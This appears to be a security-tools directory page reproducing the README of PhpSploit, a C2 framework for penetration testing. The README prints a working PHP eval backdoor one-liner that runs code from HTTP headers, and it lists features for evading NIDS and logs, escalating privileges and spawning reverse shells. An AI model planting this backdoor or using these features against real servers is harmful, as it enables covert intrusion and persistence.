> cat /dev/github | grep security-tools
discovered 30 Mar 2026

phpsploit

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AI Summary: PhpSploit is a full-featured Command and Control (C2) framework that maintains a persistent presence on web servers using a polymorphic PHP one-liner. Its primary use case is for penetration testing and exploitation, enabling users to execute commands, manage files remotely, interact with a SQL console, and escalate privileges through over 20 available plugins. Notable features include obfuscated communication via HTTP headers and seamless file upload/download capabilities, facilitating robust interactions with target systems while bypassing standard PHP security measures.


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Full-featured C2 framework which silently persists on
webserver via polymorphic PHP oneliner tweet


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Created by nil0x42 and contributors


Overview

The obfuscated communication is accomplished using HTTP headers under standard client requests and web server’s relative responses, tunneled through a tiny polymorphic backdoor:

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

Quick Start

git clone https://github.com/nil0x42/phpsploit
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"

Features

  • Efficient: More than 20 plugins to automate privilege-escalation tasks

    • Run commands and browse filesystem, bypassing PHP security restrictions
    • Upload/Download files between client and target
    • Edit remote files through local text editor
    • Run SQL console on target system
    • Spawn reverse TCP shells
  • Stealth: The framework is made by paranoids, for paranoids

    • Nearly invisible by log analysis and NIDS signature detection
    • Safe-mode and common PHP security restrictions bypass
    • Communications are hidden in HTTP Headers
    • Loaded payloads are obfuscated to bypass NIDS
    • http/https/socks4/socks5 Proxy support
  • Convenient: A robust interface with many crucial features

    • Detailed help for any option (help command)
    • Cross-platform on both client and server.
    • CLI supports auto-completion & multi-command
    • Session saving/loading feature & persistent history
    • Multi-request support for large payloads (such as uploads)
    • Provides a powerful, highly configurable settings engine
    • Each setting, such as user-agent has a polymorphic mode
    • Customisable environment variables for plugin interaction
    • Provides a complete plugin development API

Supported platforms (as attacker):

  • GNU/Linux
  • Mac OS X

Supported platforms (as target):

  • GNU/Linux
  • BSD-like
  • Mac OS X
  • Windows NT

Contributors

Thanks goes to these wonderful people:


nil0x42

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shiney-wh

๐Ÿ’ป ๐Ÿ”Œ

Wannes Rombouts

๐Ÿ’ป ๐Ÿšง

Amine Ben Asker

๐Ÿ’ป ๐Ÿšง

jose nazario

๐Ÿ“– ๐Ÿ›

Sujit Ghosal

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Zerdoumi

๐Ÿ›

tristandostaler

๐Ÿ›

Rohan Tarai

๐Ÿ›

Jonas Lejon

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This project follows the all-contributors specification. Contributions of any kind welcome